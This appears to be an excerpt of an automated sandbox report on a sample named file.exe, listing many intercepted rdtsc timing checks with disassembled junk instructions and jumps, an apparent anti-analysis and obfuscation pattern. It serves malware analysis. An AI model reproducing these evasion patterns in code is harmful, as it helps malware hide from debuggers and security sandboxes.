Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6D4E second address: 7C6D52 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6D52 second address: 7C6D58 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6DEE second address: 7C6E12 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED52EEF83h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a push eax 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e ja 00007F5ED52EEF76h 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6E12 second address: 7C6E17 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6E17 second address: 7C6E42 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F5ED52EEF82h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov eax, dword ptr [esp+04h] 0x0000000e push edi 0x0000000f jc 00007F5ED52EEF78h 0x00000015 pushad 0x00000016 popad 0x00000017 pop edi 0x00000018 mov eax, dword ptr [eax] 0x0000001a push esi 0x0000001b push eax 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C6E42 second address: 7C6E46 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C774E second address: 7C7761 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 jns 00007F5ED52EEF76h 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f pushad 0x00000010 push eax 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C7808 second address: 7C781D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF47Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop ecx 0x0000000a push eax 0x0000000b push edi 0x0000000c push ebx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7C781D second address: 7C786F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edi 0x00000006 nop 0x00000007 push 00000000h 0x00000009 push ebx 0x0000000a call 00007F5ED52EEF78h 0x0000000f pop ebx 0x00000010 mov dword ptr [esp+04h], ebx 0x00000014 add dword ptr [esp+04h], 00000018h 0x0000001c inc ebx 0x0000001d push ebx 0x0000001e ret 0x0000001f pop ebx 0x00000020 ret 0x00000021 lea eax, dword ptr [ebp+1248825Bh] 0x00000027 jnc 00007F5ED52EEF7Ch 0x0000002d jmp 00007F5ED52EEF7Eh 0x00000032 push eax 0x00000033 push eax 0x00000034 push edx 0x00000035 jo 00007F5ED52EEF78h 0x0000003b push ebx 0x0000003c pop ebx 0x0000003d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7A552D second address: 7A5569 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 jnc 00007F5ED4EAF494h 0x0000000b pushad 0x0000000c push edx 0x0000000d pop edx 0x0000000e jmp 00007F5ED4EAF47Eh 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F536D second address: 7F5372 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5372 second address: 7F537A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push esi 0x00000005 pop esi 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F537A second address: 7F537E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F537E second address: 7F5382 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5382 second address: 7F5396 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jc 00007F5ED52EEF78h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5396 second address: 7F53B2 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF486h 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F53B2 second address: 7F53B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5695 second address: 7F56DE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5ED4EAF47Eh 0x00000009 pushad 0x0000000a jmp 00007F5ED4EAF480h 0x0000000f push eax 0x00000010 pop eax 0x00000011 pushad 0x00000012 popad 0x00000013 jl 00007F5ED4EAF476h 0x00000019 popad 0x0000001a jmp 00007F5ED4EAF483h 0x0000001f popad 0x00000020 pushad 0x00000021 push eax 0x00000022 push edx 0x00000023 push ebx 0x00000024 pop ebx 0x00000025 push ebx 0x00000026 pop ebx 0x00000027 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F56DE second address: 7F5700 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 jmp 00007F5ED52EEF89h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push ebx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5B4A second address: 7F5B4E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7F5B4E second address: 7F5B73 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F5ED52EEF76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jmp 00007F5ED52EEF86h 0x00000011 push ebx 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 786DD4 second address: 786DD8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FD6BC second address: 7FD6C7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 push eax 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FD6C7 second address: 7FD6D9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F5ED4EAF47Ch 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FD6D9 second address: 7FD6DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDE12 second address: 7FDE32 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF489h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FDE32 second address: 7FDE3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007F5ED52EEF76h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE0D9 second address: 7FE0DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE0DF second address: 7FE0F9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED52EEF7Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jbe 00007F5ED52EEF76h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FE381 second address: 7FE3C5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF47Fh 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pushad 0x0000000c jng 00007F5ED4EAF476h 0x00000012 push eax 0x00000013 pop eax 0x00000014 jmp 00007F5ED4EAF486h 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e jmp 00007F5ED4EAF47Bh 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEB17 second address: 7FEB25 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5ED52EEF76h 0x0000000a popad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEB25 second address: 7FEB2B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FEB2B second address: 7FEB30 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FD3D6 second address: 7FD3DA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FD3DA second address: 7FD40F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F5ED52EEF7Dh 0x0000000d pop ebx 0x0000000e pushad 0x0000000f jmp 00007F5ED52EEF89h 0x00000014 pushad 0x00000015 pushad 0x00000016 popad 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FD40F second address: 7FD419 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FD419 second address: 7FD438 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 push edx 0x00000007 pop edx 0x00000008 push edx 0x00000009 pop edx 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d jmp 00007F5ED52EEF80h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7FD438 second address: 7FD43C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 801C44 second address: 801C4A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7836A7 second address: 7836C3 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F5ED4EAF476h 0x00000008 jmp 00007F5ED4EAF482h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7836C3 second address: 7836E7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED52EEF87h 0x00000007 pushad 0x00000008 pushad 0x00000009 popad 0x0000000a jl 00007F5ED52EEF76h 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 807673 second address: 8076A6 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007F5ED4EAF482h 0x0000000d push ecx 0x0000000e push edi 0x0000000f pop edi 0x00000010 jmp 00007F5ED4EAF47Fh 0x00000015 pop ecx 0x00000016 push eax 0x00000017 push edx 0x00000018 push edx 0x00000019 pop edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8076A6 second address: 8076AA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80645D second address: 806461 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806461 second address: 806480 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007F5ED52EEF89h 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8065E2 second address: 8065E6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8065E6 second address: 8065EC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80677A second address: 806784 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5ED4EAF482h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806A9A second address: 806AAD instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 jmp 00007F5ED52EEF7Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806AAD second address: 806AC4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c pushad 0x0000000d popad 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 push esi 0x00000016 pop esi 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 806AC4 second address: 806AD0 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 jno 00007F5ED52EEF76h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80A6DB second address: 80A6E8 instructions: 0x00000000 rdtsc 0x00000002 jns 00007F5ED4EAF476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 80CB54 second address: 80CB70 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED52EEF88h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810B9E second address: 810BB0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jo 00007F5ED4EAF476h 0x00000009 pushad 0x0000000a popad 0x0000000b pop eax 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 pushad 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810BB0 second address: 810BD0 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F5ED52EEF97h 0x0000000e jmp 00007F5ED52EEF7Fh 0x00000013 pushad 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810BD0 second address: 810BDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push ebx 0x00000007 pop ebx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8102D1 second address: 8102F5 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED52EEF89h 0x00000007 pushad 0x00000008 ja 00007F5ED52EEF76h 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8102F5 second address: 8102FB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 810887 second address: 8108AC instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5ED52EEF8Fh 0x00000008 push edx 0x00000009 pop edx 0x0000000a jmp 00007F5ED52EEF87h 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8108AC second address: 8108B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814D2A second address: 814D48 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 pop eax 0x00000008 popad 0x00000009 jmp 00007F5ED52EEF85h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81403F second address: 814056 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF47Fh 0x00000007 push eax 0x00000008 push edx 0x00000009 push esi 0x0000000a pop esi 0x0000000b pushad 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814056 second address: 81405C instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81419D second address: 8141B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007F5ED4EAF476h 0x0000000a pop ecx 0x0000000b push eax 0x0000000c push edx 0x0000000d jns 00007F5ED4EAF476h 0x00000013 push edx 0x00000014 pop edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8141B2 second address: 8141B6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8141B6 second address: 8141BC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814477 second address: 814485 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jc 00007F5ED52EEF7Ch 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 814640 second address: 81464C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F5ED4EAF476h 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81464C second address: 814651 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 780102 second address: 780106 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A1EE second address: 81A1F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A1F2 second address: 81A1F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A1F8 second address: 81A21D instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 pop eax 0x00000005 jng 00007F5ED52EEF76h 0x0000000b popad 0x0000000c pushad 0x0000000d jmp 00007F5ED52EEF86h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 81A21D second address: 81A223 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823398 second address: 82339C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82339C second address: 8233A0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8233A0 second address: 8233B5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e pop eax 0x0000000f jl 00007F5ED52EEF76h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8233B5 second address: 8233B9 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8233B9 second address: 8233C1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8233C1 second address: 8233D5 instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F5ED4EAF47Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8233D5 second address: 8233D9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 82168F second address: 8216AD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007F5ED4EAF476h 0x0000000a jg 00007F5ED4EAF476h 0x00000010 popad 0x00000011 jnp 00007F5ED4EAF484h 0x00000017 pushad 0x00000018 pushad 0x00000019 popad 0x0000001a push edx 0x0000001b pop edx 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8219CC second address: 821A00 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jc 00007F5ED52EEF76h 0x0000000a pop edx 0x0000000b jc 00007F5ED52EEF92h 0x00000011 jmp 00007F5ED52EEF86h 0x00000016 jp 00007F5ED52EEF76h 0x0000001c pop eax 0x0000001d push edi 0x0000001e push eax 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821A00 second address: 821A0A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pushad 0x00000006 pushad 0x00000007 popad 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821A0A second address: 821A12 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 821C74 second address: 821C90 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F5ED4EAF476h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F5ED4EAF47Eh 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822545 second address: 82255D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F5ED52EEF84h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 822DE5 second address: 822E0C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F5ED4EAF485h 0x00000007 jno 00007F5ED4EAF476h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f push eax 0x00000010 push edx 0x00000011 js 00007F5ED4EAF476h 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8230AC second address: 8230B2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8230B2 second address: 8230D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 je 00007F5ED4EAF476h 0x0000000d jmp 00007F5ED4EAF489h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8230D8 second address: 8230E0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 8230E0 second address: 823102 instructions: 0x00000000 rdtsc 0x00000002 jno 00007F5ED4EAF48Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823102 second address: 823108 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 823108 second address: 82310C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
